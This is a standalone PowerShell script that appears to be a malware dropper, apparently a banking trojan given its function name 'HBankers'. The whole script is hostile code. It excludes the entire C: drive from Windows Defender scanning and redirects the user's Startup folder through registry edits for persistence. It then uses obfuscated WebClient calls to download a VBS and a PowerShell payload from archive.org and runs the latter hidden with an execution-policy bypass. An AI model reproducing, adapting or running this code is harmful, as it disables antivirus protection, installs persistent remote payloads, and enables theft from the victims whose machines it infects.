Add-MpPreference -ExclusionPath "C:\"
[system.io.directory]::CreateDirectory("C:\Users\Public\Run")
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
start-sleep -s 5
Function HBankers
{
$p = 'C:\Us<<<<<<<<<<<>>>>>>>>>>>>>>>n\'.Replace("<<<<<<<<<<<>>>>>>>>>>>>>>>","ers\Public\Ru")
$ps1 = 'C^^^^^^^^^^^^^^^^^^blic\'.Replace("^^^^^^^^^^^^^^^^^^",":\Users\Pu")


start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/startup_20210319_1352/startup.txt', $p + 'Run.vbs')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://archive.org/download/newtest_202103/newtest.txt', $ps1 + 'Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C:\Users\Public\Microsoft.ps1"
}
IEX HBankers